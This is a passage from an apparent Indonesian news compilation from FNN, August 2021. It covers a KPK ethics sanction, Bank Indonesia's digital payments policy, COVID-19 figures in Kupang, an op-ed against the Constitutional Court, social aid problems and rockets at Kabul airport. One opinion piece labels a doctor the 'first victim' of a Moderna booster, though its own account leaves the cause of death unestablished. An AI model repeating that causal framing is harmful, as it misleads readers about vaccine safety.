Indonesia, meski terdapat peluang mendorong pertumbuhan ekonomi dari sektor terbuka. (mth)

Pakar Hukum Nilai Sanksi Dewas KPK terhadap Lili Pintauli Ringan

Purwokerto, FNN - Pakar hukum Universitas Jenderal Soedirman (Unsoed) Purwokerto Prof Hibnu Nugroho menilai sanksi yang dijatuhkan Dewan Pengawas (Dewas) Komisi Pemberatasan Korupsi kepada Wakil Ketua KPK Lili Pintauli Siregar terlalu ringan. "Menurut saya, ini sebagai warning bahwa seorang pimpinan itu harus zero permasalahan, zero sanksi. Oleh karenanya, itu (sanksi yang diberikan kepada Lili Pintauli) bukan sanksi berat kalau hanya pemotongan gaji dan sebagainya," katanya di Purwokerto, Kabupaten Banyumas, Jawa Tengah, Senin. Hibnu mengatakan hal itu terkait dengan putusan Dewas KPK yang menyatakan Wakil Ketua KPK Lili Pintauli Siregar terbukti melakukan pelanggaran kode etik dan pedoman perilaku sehingga dijatuhi sanksi berat berupa pemotongan gaji pokok sebesar 40 persen selama 12 bulan. Menurut dia, sanksi berat dapat berupa penundaan pangkat jika yang melakukan pelanggaran merupakan pegawai negara, sedangkan bagi seorang pimpinan dapat diberi sanksi dengan menonaktifkan dari segala kegiatan dalam kurun waktu tertentu. Akan tetapi jika sanksi yang diberikan kepada Lili Pintauli hanya berupa pemotongan gaji, kata dia, hal itu hanyalah sanksi sedang, bukanlah sanksi berat. "Sanksi berat itu berarti dibebaskan dari kegiatan pimpinan selama setengah tahun. Ini baru sanksi, ini masih menjabat kepemimpinannya. Dengan demikian, apapun yang terjadi, ini sebagai warning bagi KPK atau suatu tantangan tersendiri bagaimana seorang pemimpin KPK itu zero dari permasalahan," katanya menegaskan. Ia mengatakan jika permasalahan tersebut berkaitan dengan tugasnya, hal itu merupakan suatu yang tidak bisa diteladani dan tidak bisa menjadi suatu rujukan dalam pemberantasan tindak pidana korupsi. "Oleh karena itu, sangat disayangkan kalau sanksi yang diberikan hanya berupa pemotongan gaji, artinya enggak tegas. Itu hanya sanksi seperti sanksi administrasi, padahal yang dilakukan terkait dengan tugas dan fungsinya," kata Hibnu. Terkait dengan hal itu, dia mengaku sepakat dengan tuntutan Masyarakat Anti Korupsi Indonesia (MAKI) meminta agar Wakil Ketua KPK Lili Pintauli Siregar mengundurkan diri dari KPK setelah terbukti melanggar kode etik dan pedoman perilaku. Menurut dia, apa yang dilakukan Lili Pintauli merupakan noda bagi KPK yang dapat menurunkan kewibawaan lembaga antirasuah tersebut termasuk menurunkan kewibawaan presiden. "Apa yang dilakukan Lili Pintauli juga dapat menurunkan kepercayaan masyarakat kepada KPK dalam pemberantasan korupsi," kata pegiat antikorupsi itu. Berdasarkan putusan Ketua Dewan Pengawas KPK Tumpak Hatorangan, pelanggaran kode etik yang dilakukan oleh Lili Pintauli adalah penyalahgunaan pimpinan KPK untuk kepentingan pribadi dan berhubungan langsung dengan pihak yang perkaranya sedang ditangani. Adapun yang dimaksud dengan pihak yang perkaranya sedang ditangani adalah Wali Kota nonaktif Tanjung Balai M Syahrial yang tersandung perkara dugaan suap lelang jabatan. Atas pelanggaran kode etik berat yang dilakukan oleh Lili Pintauli, Dewas KPK memberi sanksi berupa pemotongan gaji 40 persen selama 12 bulan. Menurut MAKI, putusan Dewas KPK ini adalah hasil dari sebuah proses yang telah dijalankan berdasarkan Undang-Undang Nomor 19 Tahun 2019 tentang Revisi UU KPK. (mth)

BI Dorong Keuangan Digital Jadi Pilar Transformasi Perekonomian

Jakarta, FNN - Bank Indonesia terus mendorong perkembangan keuangan digital sebagai salah satu pilar dari transformasi struktur perekonomian nasional, demikian disampaikan Deputi Gubernur Bank Indonesia Rosmaya Hadi. Rosmaya dalam acara virtual di Jakarta, Senin, mengatakan bahwa komitmen Bank Indonesia untuk terus mendukung integrasi ekonomi dan keuangan digital diwujudkan melalui Cetak Biru Sistem Pembayaran Indonesia tahun 2025. "Melalui cetak biru ini diharapkan akan terbangun ekosistem pembayaran digital yang terintegrasi," ujar Rosmaya. Adanya interoperabilitas, perluasan akses, dan multi instrumen yang timbul akan memberi kemudahan kepada masyarakat. Selain itu, cetak biru itu juga akan memberikan infrastruktur dasar bagi sumber ekonomi baru yang mengoptimalkan proses digital. "Hal ini selanjutnya juga akan meningkatkan efisiensi secara nasional dan kemudian pertumbuhan ekonomi, dan pada akhirnya inklusi keuangan," kata Rosmaya. Lebih lanjut, dia mengatakan bahwa Bank Indonesia juga telah meluncurkan Standar Nasional Open API Pembayaran (SNAP). SNAP hadir untuk menciptakan industri sistem pembayaran yang sehat, kompetitif, dan inovatif, sehingga dapat menyediakan layanan sistem pembayaran kepada masyarakat yang efisien, aman dan andal. Keberadaan SNAP akan menyatukan langkah, mengintegrasikan, dan mengkoneksikan berbagai pelayanan jasa sistem pembayaran yang dilakukan bagi kemajuan ekonomi Indonesia. Bank Indonesia, lanjut Rosmaya, juga terus mendorong digitalisasi di sistem pembayaran ritel melalui penggunaan QRIS (Quick Response Code Indonesian Standar). Saat ini, jumlah rekening pengguna QRIS sudah mendekati 9 juta, didominasi oleh pelaku Usaha Mikro, Kecil, dan Menengah (UMKM). "Adapun pada tahun 2021 ini Bank Indonesia menargetkan bahwa penggunaan QRIS akan mencapai 12 juta merchant," ujar Rosmaya. (mth)

Pemkot: Pasien COVID-19 Sembuh di Kupang Bertambah 157 Orang

Kupang, FNN - Pemerintah Kota Kupang, Provinsi Nusa Tenggara Timur mencatat adanya penambahan 157 orang pasien COVID-19 yang dinyatakan sembuh dari paparan virus corona sehingga jumlah kesembuhan bertambah menjadi 13.289 orang. Dalam keterangan tertulis Bagian Protokol dan Komunikasi Pimpinan Setda Kota Kupang yang diterima di Kupang, Senin (30/8) menyebutkan jumlah warga Kota Kupang yang sembuh dari paparan virus corona meningkat setiap hari. Pemerintah Kota Kupang menyebutkan dengan adanya penambahan 157 pasien COVID-19 yang dinyatakan sembuh pada Minggu (29/8) itu menyebabkan jumlah kesembuhan pasien COVID-19 meningkat jadi 13.289 orang. Selain itu pemerintah Kota Kupang juga menyebutkan adanya penambahan 41 orang pasien yang terkonfirmasi positif COVID-19 sehingga warga yang terpapar COVID-19 bertambah menjadi 14.395 orang sejak kasus COVID-19 pertama ditemukan di daerah ini pada Maret 2020 silam. Sementara itu pasien COVID-19 yang masih dalam perawatan medis maupun isolasi mandiri di ibu kota provinsi NTT itu mencapai 795 orang. Sedangkan pasien COVID-19 yang meninggal dunia karena terinveksi virus Corona sudah menembus 311 orang. Wakil Wali Kota Kupang, Hermanus Man mengingatkan warga daerah ini untuk tetap waspada terpadap penyebaran COVID-19. "Kasus COVID-19 masih terus terjadi diharapkan warga tetap waspada dan tetap menerapkan protokol kesehatan dalam mencegah penyebaran COVID-19," katanya. (mth)

Mahkamah Konstitusi Melanggar Konstitusi: Wajib Bubar

Oleh Anthony Budiawan Managing Director Political Economy and Policy Studies (PEPS) MAHKAMAH Konstitusi (MK) hanya urus satu hal saja, yaitu menegakkan Konstitusi yang tertulis di dalam Undang-Undang Dasar (UUD). MK harus menjaga agar tidak ada peraturan dan UU yang melanggar UUD. Untuk menjalankan fungsinya, MK terdiri dari sembilan (9) hakim, jumlah yang sangat besar dibandingkan potensi jumlah pekerjaan (perkara) yang mungkin bisa dihitung dengan jari. Mahkamah Konstitusi berwenang mengadili pada tingkat pertama dan terakhir yang putusannya bersifat final untuk menguji undang-undang terhadap Undang-Undang Dasar. Ini adalah salah satu wewenang yang diberikan UUD kepada MK (Pasal 24C, ayat (1)) Berdasarkan wewenang ini, pertama, MK wajib menguji setiap UU apakah melanggar UUD, meskipun tidak ada pengaduan atau gugatan dari rakyat (masyarakat). Karena MK adalah penjaga Konstitusi. Kedua, MK wajib menguji setiap UU apakah melanggar UUD atas permohonan rakyat, meskipun itu seseorang. MK tidak perlu bertanya lagi posisi hukum (legal standing) seorang rakyat untuk bisa minta MK menguji sebuah UU terhadap UUD. Karena, posisi hukum rakyat sudah jelas di dalam Pembukaan UUD, yang menyatakan bahwa Kedaulatan ada di tangan rakyat. Artinya, rakyat mempunyai legal standing, dan mempunyai hak dan kewajiban untuk menegakkan Konstitusi, serta mencegah terjadi pelanggaran terhadap Konstitusi. Karena, pelanggaran terhadap Konstitusi bukan hanya melanggar dan merugikan hak seorang rakyat, tetapi melanggar dan merugikan hak seluruh rakyat Indonesia. Sehingga, kalau seseorang menggugat apakah presidential threshold melanggar UUD, maka MK tidak perlu bertanya apakah seseorang tersebut akan mencalonkan diri sebagai presiden. Hal tersebut tidak relevan. Karena, kalau presidential threshold melanggar UUD, maka wajib batal demi hukum, demi Konstitusi dan UUD: karena, semua peraturan dan UU yang bertentangan dengan UUD, wajib batal. Kedua, MK wajib menguji setiap UU atas permohonan rakyat. MK wajib menguji, antara lain, Peraturan Presiden Pengganti Undang-Undang (PERPPU) No 1 Tahun 2020 (tentang Virus Corona), yang kemudian diterima dan disahkan oleh DPR menjadi UU No 2 Tahun 2020, apakah bertentangan dengan UUD, atas permohonan dari beberapa kelompok rakyat. Karena, PERPPU yang sudah diundangkan tersebut di mata rakyat bertentangan dengan UUD, karena menghilangkan hak anggaran DPR selama 3 tahun berturut-turut sejak 2020, dan pemerintah bisa menyusun APBN tanpa persetujuan DPR, yang mana melanggar Pasal 20A ayat (1) UUD. Selain itu, PERPPU juga melanggar prinsip kesetaraan hukum Pasal 27 ayat (1) UUD. Serta melanggar prinsip peri-kemanusiaan dan peri-keadilan yang tertulis di dalam pembukaan UUD. Karena PERPPU memberi kekebalan hukum kepada pejabat dan pengguna anggaran selama 3 tahun. Perlu ditekankan, bahwa isi Pembukaan UUD lebih tinggi dari isi batang-tubuh UUD (yang muat pasal-pasal). Karena, isi pembukaan UUD menjadi dasar dan pedoman untuk menyusun batang-tubuh UUD, sehingga pasal-pasal dalam batang-tubuh UUD tidak boleh bertentangan dengan isi Pembukaan UUD. “Bahwa sesungguhnya Kemerdekaan itu ialah hak segala bangsa dan oleh sebab itu, maka penjajahan di atas dunia harus dihapuskan, karena tidak sesuai dengan peri-kemanusiaan dan peri-keadilan. Kalimat ini bermakna, bahwa penjajahan harus dihapus di atas dunia, bukan saja di muka bumi Indonesia, karena tidak sesuai dengan peri-kemanusiaan dan peri-keadilan. Jadi jelas, alasan utama penjajahan harus dihapus karena tidak sesuai dengan peri-kemanusiaan dan peri-keadilan. Sehingga, sebagai konsekuensi, apa pun yang tidak sesuai dengan peri-kemanusiaan dan peri-keadilan harus enyah dari muka bumi Indonesia, dan dunia. Karena ini merupakan nilai-nilai kehidupan Bangsa Indonesia. Oleh karena itu, pasal-pasal dalam batang-tubuh UUD, termasuk pelaksanaannya, yang tidak sesuai dengan peri-kemanusiaan dan peri-keadilan, serta tidak sesuai dengan butir-butir lainnya di dalam Pembukaan UUD, juga harus enyah dari muka bumi Indonesia. Sehingga cita-cita Indonesia untuk menjadi Makmur dan Adil bisa dinikmati oleh seluruh rakyat Indonesia. Termasuk pasal-pasal yang merampas hak kedaulatan rakyat, semua harus diluruskan. Perwakilan rakyat bukan pemegang kedaulatan rakyat yang sebenarnya, dan selamanya. Karena perwakilan adalah titipan kedaulatan yang bersifat sementara, dan dapat diambil kembali oleh rakyat setiap saat. Oleh karena itu, sebagai konsekuensi, apabila MK tidak bisa meluruskan semua UU yang bertentangan dengan Konstitusi, maka MK wajib bubar demi menyelamatkan Konstitusi dan UUD. Karena, dengan membiarkan terjadi pelanggaran terhadap Konstitusi, MK berarti melanggar Konstitusi. Dan menjadi tyranny, sebagai penjaga tyranny. Pelanggaran-pelanggaran terhadap UUD, menurut mata dan hati rakyat, akan dimuat di tulisan selanjutnya.

Dokter Andi Yuwardani Makmur, “Korban Pertama” Vaksin Moderna

Oleh: Mochamad Toha Inna lillaahi wa inna ilaihi roojiuun. Indonesia telah kehilangan seorang dokter lagi: dr. Andi Yuwardani Makmur. Dua hari sebelum meninggal, dokter Spesialis Kedokteran Jiwa RSUD Bulukumba, Sulawesi Selatan, ini mendapat suntikan booster Moderna. Melansir Detik.com, Jumat (27 Agu 2021 18:30 WIB) Dokter Yuwardani, ternyata sempat diminta untuk menunda vaksinasi oleh tim skrining. Tetapi, dia tetap meminta vaksinasi itu dilakukan. Informasi ini diungkap adik kandung almarhumah, A Suswani. Menurut Suswani, vaksinasi itu dilakukan di RSUD Andi Sultan Daeng Radja, Bulukumba, Jumat (20/8/2021). Ketika itu almarhumah sempat diminta menunda dulu proses vaksinasi, namun tetap meminta diberi suntikan vaksin. “Jumat, 20 Agustus 2021, setelah periksa pasien, almarhumah menuju ruang vaksin lantai 3, saat skrining tensi awal 187 mmHg, almarhumah istirahat sejenak dan ditensi kembali 176 mmHg. Almarhumah memutuskan tetap vaksin meskipun sudah dianjurkan oleh petugas untuk menunda dulu,” ucap Suswani, seperti dilansir Detik.com, Jumat (27/8/2021). Suswani tak mengungkap lebih lanjut soal alasan almarhumah tetap meminta disuntik vaksin Covid-19 meski sudah diminta menunda. Ia mengaku tak ada penjelasan almarhumah terkait hal tersebut. “Itu keputusan almarhum untuk tetap vaksin. Tidak ada penjelasan terkait dengan itu,” kata Suswani. Menurutnya, kondisi dokter Yuwardani sebenarnya dinyatakan tak ada masalah 15 menit setelah diberi suntikan vaksin. Dia pun dipersilakan pulang. “Setelah observasi pascavaksin 15 menit, almarhumah pulang dengan kondisi yang sehat,” katanya. Kemudian, pada Minggu (22/8/2021) atau dua hari setelah divaksinasi, Yuwardani disebut sempat melakukan aktivitas berat, yakni mencuci, hingga akhirnya tiba-tiba pingsan. “Minggu pagi sekitar jam 7 masih sempat ngobrol dengan ayah kami, kemudian melanjutkan aktivitas mencuci baju sambil ngobrol dengan Umi kami. Di situlah almarhumah pingsan dan menghembuskan napas terakhir di kamar almarhumah,” kata Suswani. Menurut Suswani, tim Kejadian Ikutan Pasca Imunisasi (KIPI) Provinsi Sulsel kini tengah menyelidiki kematian saudarinya itu. “Kita tunggu informasi selanjutnya dari Komnas KIPI karena seluruh informasi yang dibutuhkan sudah kami berikan,” katanya. Suswani juga menjelaskan almarhumah memiliki penyakit penyerta komorbit, hipertensi. Tapi, ia tak bisa menjelaskan apakah komorbid tersebut ada hubungannya dengan kematian Yuwardani. Diakuinya, almarhumah memang ada komorbid, sejak dulu tensi selalu di atas 140 mmHg. Ketua Ikatan Dokter Indonesia (IDI) Sulsel Ichsan Mustari mengatakan, pihaknya menunggu hasil investigasi yang dilakukan oleh tim KIPI tingkat kabupaten dan provinsi. Pihak KIPI disebut-sebut akan menelusuri soal apakah benar meninggalnya Andi Yuwardani meninggal setelah mendapatkan vaksinasi ketiga, dan apakah penyebab meninggalnya bagian dari efek vaksinasi. “Melihat sejauh ini mana kejadian itu. Artinya kita kan mesti cari dulu, investigasi. Sejak awal vaksinasi telah dibentuk tim kejadian awal,” kata Ichsan Mustari. “Rekomendasi-rekomendasi akan diberikan karena kita tahu sendiri vaksinasi Covid kan vaksinasi pertama kali, tentu juga kejadian yang seperti itu tetap menjadi analisis tim melihatnya,” lanjutnya. Menurut Arie Karimah, Pharma-Excellent alumni ITB, tim KIPI jangan seenaknya ngomong itu bukan KIPI karena sudah lewat beberapa hari setelah vaksinasi. “Emang nggak ada gitu delayed adverse reactions dari vaksin (reaksi tunda)?” tegas Arie Karimah. “Saya berpikir penyebabnya tidak bisa diketahui tanpa dilakukan otopsi. Dan, problemnya pasti: apakah keluarganya mengizinkan? Ataukah mungkin cukup dilakukan otopsi verbal? Tapi menurut saya cara ini agak sulit untuk menentukan penyebab kematiannya,” ujarnya. Dokter Yuwardani bisa disebut sebagai tenaga kesehatan yang pertama menjadi “korban” pasca vaksinasi booster dengan Moderna. Jika tidak dilakukan otopsi, dapat dipastikan ini akan tetap menjadi misteri apa penyebab kematiannya. Berbeda sekali jika ini terjadi di luar negeri. Meski hanya satu nyawa yang jadi korban, bisa dipastikan bakal dilakukan otopsi, sehingga akan diketahui penyebab pastinya. Jepang yang mengetahui ada kontaminasi pada produk Moderna saja, langsung tunda pengiriman. Karena khawatir ada kontaminasi pada produk vaksin yang mereka terima dari pabrik vaksin Moderna di Spanyol, Kamis (26/8/2021) akhirnya Jepang memutuskan menghentikan untuk sementara vaksinasi dengan Moderna. Menurut Arie Karimah, sebenarnya sejak 16 Agustus 2021 perusahaan farmasi Takeda di Jepang telah menemukan di 8 lokasi vaksinasi mereka 39 vial yang belum dibuka (390 dosis) terlihat ada partikel yang tidak larut. “Persyaratan sediaan steril vaksin mengharuskan larutan yang jernih bebas partikel yang tidak terlarut atau endapan,” ungkap Arie Karimah dalam akun Facebook-nya, Jum’at, 27 Agustus 2021. Mereka meminta penyelidikan menyeluruh atas kasus itu oleh Ravi, pabrik yang mensuplai pasar selain Amerika Serikat. Dan sambil menunggu hasilnya mereka menghentikan program penyuntikan 1,63 juta dosis sisanya, yang merupakan produksi dari 3 nomer batch. Meski sebenarnya semua vial yang bermasalah berasal dari satu nomer batch, namun untuk kehati-hatian perusahaan farmasi Takeda di Jepang, yang bertanggung jawab atas penjualan dan distribusi vaksin tersebut, meminta menghentikan pemberian untuk ketiga batch itu. Takeda juga menduga sebagian dosis yang bermasalah tersebut mungkin sudah telanjur disuntikkan, sehingga mereka mengumumkan nomer batch-nya dan meminta masyarakat yang mendapatkan batch tersebut, dan mengalami efek yang tidak diharapkan (adverse reactions), untuk segera melapor. Perusahaan itu juga menyatakan sudah memberitahu Moderna dan meminta penyelidikan segera. Takeda tidak merinci sifat kontaminasinya, tetapi mengatakan, sejauh ini belum menerima laporan tentang masalah kesehatan yang timbul dari dosis yang terpengaruh. Kementerian Kesehatan Jepang mengatakan, pihaknya akan bekerja dengan Takeda untuk mendapatkan dosis alternatif agar program vaksinasi tidak terganggu, berhubung sedang meningkat setelah awal yang lambat. Perlu diketahui, sekitar 43 persen populasi Jepang saat ini telah divaksinasi penuh, tetapi negara itu sedang mengalami lonjakan rekor kasus yang didorong oleh varian Delta. Sekitar 15.500 orang meninggal karena Covid-19 di Jepang selama pandemi, dan sebagian besar wilayahnya berada di bawah pembatasan kegiatan. Sebelumnya, Moderna menyatakan, vaksin Covid-19 buatannya tetap kuat selama setidaknya 6 bulan dari dosis kedua. Disebutkan juga, booster untuk varian yang spesifik sedang diuji, dan menghasilkan respons antibodi kuat terhadap varian Delta. Itu disampaikan dalam analisis akhir dari uji klinis fase III atau tahap akhir. Moderna turut melakukan uji klinis pada 3 booster vaksin Covid-19 yang berbeda. Hasilnya menunjukkan, semuanya menghasilkan tingkat antibodi yang tinggi pada jenis virus corona asli dan varian termasuk Delta. “Kami gembira, vaksin Covid-19 kami menunjukkan kemanjuran yang tahan lama sebesar 93 persen hingga enam bulan, tapi menyadari varian Delta adalah ancaman baru yang signifikan sehingga kami harus tetap waspada,” kata CEO Stephane Bancel dikutip dari AFP. Pernyataan itu menambahkan, Moderna akan mengajukan persetujuan penuh vaksin Covid-nya kepada Badan Makanan dan Obat-obatan AS (FDA) bulan ini. Moderna telah memulai studi untuk beberapa vaksin lain, termasuk flu, Zika, respiratory syncytial virus, dan lainnya. Sebelumnya, melansir SuaraSurabaya.net, Rabu (2 Juni 2021 | 06:43 WIB), berdasarkan hasil studi organisasi kesehatan dunia (WHO), empat varian baru Virus Corona menurunkan tingkat kemanjuran (efikasi) sejumlah vaksin yang sudah diproduksi massal. Prof. Wiku Adisasmito, Juru Bicara Satgas Penanganan Covid-19 mengatakan, tiap varian berpengaruh pada efikasi vaksin yang beredar di berbagai belahan dunia. “WHO berdasarkan berbagai studi yang dilakukan beberapa peneliti menyatakan bahwa beberapa varian memiliki besaran pengaruh yang sedikit sampai sedang terhadap angka efikasi tiap vaksin pada kasus positif dengan varian tertentu,” ujarnya di Graha BNPB. Dia memaparkan, varian B117 dari Inggris mempengaruhi efikasi Vaksin Covid-19 produksi AstraZeneca. Varian B1351 asal Afrika Selatan mempengaruhi efikasi vaksin produksi dari Moderna, Pfizer, AstraZeneca, dan Novavax. Kemudian, varian B11281 atau P1 dari Brasil dan Jepang mempengaruhi efikasi vaksin Moderna dan Pfizer. Varian B1617 dari India juga mempengaruhi efikasi vaksin Moderna dan Pfizer. “Pengaruh varian virus terhadap efikasi vaksin tersebut bersifat sementara, dan masih bisa berubah berdasarkan hasil studi lanjutan,” imbuhnya. Lebih lanjut, Profesor Wiku menyatakan perubahan efikasi terjadi karena semua vaksin yang dikembangkan dan dipakai sekarang masih memakai Virus Sars Cov2 varian asli dari Wuhan, China, lokasi virus penyebab Covid-19 pertama kali ditemukan. Walau begitu, Wiku mengatakan mutasi virus yang terjadi tidak membuat kemampuan vaksin mencegah penyakit turun di bawah 50 persen. Bahkan, ia menyebut beberapa di antara vaksin itu masih punya efikasi di atas 90 persen. Penulis adalah Wartawan FNN.co.id

Segera Selesaikan Permasalahan Distribusi Bantuan Sosial

Jakarta, FNN - Wakil Ketua Komisi VIII DPR RI, Ace Hasan Syadzily meminta seluruh pihak terkait segera menyelesaikan persoalan distribusi bantuan sosial (bansos) yang masih terjadi dan terus ditemukan. "Harus secepatnya diselesaikan berbagai pihak terkait dengan pelaksanaan bansos. Komisi VIII telah beberapa kali mengingatkan masalah tersebut," kata Ace saat dihubungi di Jakarta, Senin, 30 Agustus 2021. Selain merujuk temuan lapangan saat melakukan kunjungan kerja spesifik Komisi VIII DPR RI bersama Menteri Sosial (Mensos) Tri Rismaharini (Risma) ke Kabupaten Bandung, pada hari Jumat (27/8), Ace turut menyoroti temuan Risma mengenai dugaan monopoli beras bansos di Lumajang, Jawa Timur, Sabtu (28/8). Dia mengatakan, dalam implementasinya di lapangan, bansos masih diliputi banyak masalah, mulai dari pendataan penerima bantuan, pengadaan, hingga distribusinya. "Terutama soal data.Terrnyata masih ditemukan orang yang meninggal pun terdata sebagai penerima bantuan sosial, seperti yang kami temukan langsung di Bandung," tutur Ace. Dikutip dari Antara, Ace menjelaskan, pengadaan Bantuan Pangan Non Tunai (BPNT) yang nilai komoditasnya di atas rata-rata dan kualitasnya tidak sesuai harapan juga masih kerap ditemukan. Dia meminta Kementerian Sosial (Kemensos) segera menyelesaikan permasalahan bansos yang terus berlarut-larut dengan membenahi sistem yang selama ini ditemukan bermasalah. "Segera selesaikan sistemnya. Kan masalahnya sudah jelas, sudah terlalu berlarut-larut soal bansos itu tidak diselesaikan," kata Ace. Ace mengatakan, Komisi VIII DPR RI juga akan mengundang Himbara (Himpunan Bank-Bank Negara) yang ditugaskan menyalurkan dana bantuan kepada keluarga penerima manfaat (KPM) dalam waktu dekat. Sebelumnya, Ace telah menyoroti masalah distribusi bansos saat melakukan kunjungan kerja spesifik Komisi VIII DPR RI bersama Menteri Sosial ke Kabupaten Bandung, Jumat (27/8). Dalam kesempatan itu, Ace menyebutkan beberapa permasalahan seperti masih tertahannya penyaluran bansos dari kartu Program Keluarga Harapan (PKH) hingga distribusi ribuan Bantuan Sosial Tunai (BST) yang belum tersalurkan kepada penerimanya karena berbagai sebab. (MD).

Bandara Kabul Dihujani Tembakan Roket

Washington, FNN - Lima roket ditembakkan ke arah bandara internasional Kabul, pada saat Amerika Serikat (AS) hampir menyelesaikan penarikan seluruh pasukannya Afghanistan. Akan tetapi, berhasil dicegat oleh sistem pertahanan misil. Seorang pejabat AS yang minta namanya dirahasiakan mengatakan, roket-roket tersebut diluncurkan Senin (30/8) dinihari waktu setempat. Belum jelas apakah sistem pertahanan berhasil melumpuhkan semua roket itu. "Laporan awal tidak mengindikasikan adanya korban dari pihak AS. namun informasi itu bisa berubah," kata pejabat tersebut. Sebelumnya, pada Ahad (29/), pasukan Amerika melancarkan serangan udara lewat pesawat nirawak (drone) di Kabul terhadap sebuah kendaraan yang ditumpangi pengebom bunuh diri yang berniat menyerang bandara. Kekhawatiran terhadap serangan lebih lanjut dari militan ISIS terus meningkat ketika tentara AS bergegas mengevakuasi warga AS dan sejumlah warga Afghanistan sebelum mereka ditarik mundur pada 31 Agustus. Para pejabat telah memperingatkan sebelumnya, militan ISIS-K berencana menyerang bandara dengan roket. Akan tetapi, AS telah berpengalaman menghadapi roket semacam itu, terutama di Irak, dan telah memasang sistem pertahanan dari serangan misil. "Kami tahu mereka (ISIS-K) akan mencoba melancarkan roket di sana, jika mereka bisa," kata Jenderal Frank McKenzie, kepala Komando Pusat AS, kepada wartawan di Washington, pekan lalu. "Sekarang kami memiliki perlindungan yang bagus menghadapi itu. Kami punya sistem anti roket dan mortar," kata McKenzie. Ada kekhawatiran yang makin besar terhadap aksi bom bunuh diri dan bom mobil di bandara. Kekhawaitran itu menyusul serangan bom bunuh diri pada Kamis (26/8) yang menewaskan 60 orang, termasuk 13 di antaranya tentara AS. Pada Sabtu (28/8), Presiden AS, Joe Biden mengatakan situasi di lapangan masih sangat berbahaya. Dia mengatakan, para komandan militer AS telah memberitahunya soal serangan militan lain yang sangat mungkin terjadi dalam 24-36 jam ke depan. (MD).

Dewan Pengawas Jatuhkan Sanksi Berat Kepada Wakil Ketua KPK Lili Pintauli Siregar

Jakarta, FNN - Dewan Pengawas (Dewas) Komisi Pemberantasan Korupsi memutuskan Wakil Ketua KPK Lili Pintauli Siregar terbukti melakukan pelanggaran kode etik dan pedoman perilaku sehingga dijatuhi sanksi berat. "Mengadili, menyatakan terperiksa Lili Pintauli Siregar bersalah melakukan pelanggaran Kode Etik dan Pedoman Perilaku berupa menyalahgunakan pengaruh selaku pimpinan KPK untuk kepentingan pribadi. Berhubungan langsung dengan pihak yang perkaranya sedang ditangani KPK yang diatur dalam pasal 4 ayat 2 huruf b dan a Peraturan Dewan Pengawas KPK No 2 tahun 2020 tentang Penegakan Kode Etik dan Pedoman Perilaku KPK," kata Ketua Majelis Etik Tumpak Hatorangan Panggabean, di Gedung Pusat Edukasi AntiKorupsi KPK, Jakarta, Senin, 30 agustus 2021. Pasal 4 ayat 2 huruf b berisi "Dalam mengimplementasikan Nilai Dasar Integritas, setiap Insan Komisi dilarang: menyalahgunakan jabatan dan/atau kewenangan yang dimiliki termasuk menyalahgunakan pengaruh sebagai Insan Komisi baik dalam pelaksanaan tugas, maupun kepentingan pribadi". Sedangkan pasal 4 ayat 2 huruf a menyatakan "Dalam mengimplementasikan Nilai Dasar Integritas, setiap Insan Komisi dilarang mengadakan hubungan langsung atau tidak langsung dengan tersangka, terdakwa, terpidana, atau pihak lain yang ada hubungan dengan perkara tindak pidana korupsi yang diketahui perkaranya sedang ditangani oleh Komisi kecuali dalam rangka pelaksanaan tugas dan sepengetahuan Pimpinan atau atasan langsung". "Menghukum terperiksa dengan sanksi berat berupa pemotongan gaji pokok sebesar 40 persen selama 12 bulan," ujar Tumpak. Terdapat sejumlah hal yang meringankan dalam perbuatan Lili. Ia mengakui perbuatannya dan belum pernah dijatuhi sanksi etik sebelumnya. "Hal memberatkan, terperiksa tidak menunjukkan penyesalan atas perbuatannya. Terperiksa selaku pimpinan KPK seharusnya menjadi contoh dan teladan dalam pelaksanaan IS KPK namun terperiksa melakukan sebaliknya," tambah Anggota Majelis Etik Albertina Ho. Dalam pertimbangannya, majelis etik yang terdiri dari Tumpak Hatorangan Panggabean, Albertina Ho dan Harjono menyebutkan, Lili Pintauli Siregar terbukti melakukan dua perbuatan. Prtama, menyalahgunakan pengaruh selaku insan KPK untuk kepentingan pribadi. Lili Pintauli diketahui mengenal Wali Kota Tanjungbalai M Syahrial pada sekitar Februari-Maret 2020 di pesawat, saat perjalanan dari Medan ke Jakarta. Saat itu Syahrial sudah tahu Lili adalah pimpinan KPK dan Syahrial memperkenalkan diri sebagai Wali Kota Tanjungbalai. Setelah tiba di Jakarta, Lili lalu mengatakan ke Syahrial ada saudaranya yaitu Ruri Rpihatini Lubis yang pernah menjadi Pelaksana tugas (Plt) Direktur PDAM (Perusahaan Daerah Air Minum) Tirto Kualo di Tanjung Balai belum dibayar uang jasa pengabdiannya oleh DPAM Tirta Kualo. Lili pun mengatakan kepada Syahrial "Tolong dibantulah, itu kan haknya, mengapa belum dibayar?". Syahrial lalu meminta nomor telefon Lili, dan memberikan nomornya. Syahrial lalu meminta Plt Direktur PDAM Tirta Kualo, Yudhi Gobel mengapa uang jasa Ruri belum dibayar. Yudhi menjawab, kondisi keuangan perusahaan sedang sulit. Lili kemudian menyampaikan kepada saudaranya Ruri Prihatini Lubis untuk kembali membuat surat kepada Direktur PDAM Tirta Kualo. Surat ditembuskan kepada KPK. Ruri membuat surat pada 21 APril 2021, dan tembusannya disampaikan ke KPK. "Majelis berpendapat perbuatan terperiksa meminta bantuan kepada saksi M Syahrial agar uang jasa pengabdian saksi Ruri Prihatini Lubis dibenarkan. Akan tetapi, menurut pendapat majelis petunjuk terperiksa kepada saksi Ruri untuk membuat surat kepada Yudhi Gobel selaku Direktur PDAM Tirta dengan menyampaikan tembusan ke KPK adalah sangat berlebihan. Sebab, belum dibayarnya uang jasa pengabdian itu, masalah urusan keperdataan sesesorang dengan perusahaan daerah. Tidak ada kaitannya dengan tugas dan kewenangan KPK baik dari sisi kegiatan pencegahan maupun penindakan," kata Albertina. Selanjutnya uang jasa pengabdian Ruri Prihatini Lubis pun dibayar dengan cara dicicil tiga kali dengan jumlah seluruhnya Rp 53.334.640 Perbuatan kedua, Lili terbukti berhubungan langsung dengan pihak yang perkaranya sedang ditangani oleh KPK dalam hal ini Wali Kota Tanjungbalai, M Syahrial yang telah ditetapkan sebagai tersangka penerima suap dalam kasus dugaan tindak pidana korupsi jual beli jabatan di wilayah kerjanya. Majelis etik menyebutkan, pada Juli 2020, setelah Lili dan Syahrial bertemu di pesawat, Lili menghubungi Syahrial melalui telefon dengan mengatakan, "Ini ada namamu di mejaku, bikin malu Rp 200 juta masih kau ambil". Dijawab Syahrial, "Itu perkara lama Bu, tolong dibantulah". Lalu Lili menjawab "Banyak berdoalah kau". Pada Oktober 2020, Syahrial kembali menghubungi Lili dan menyhampaikan 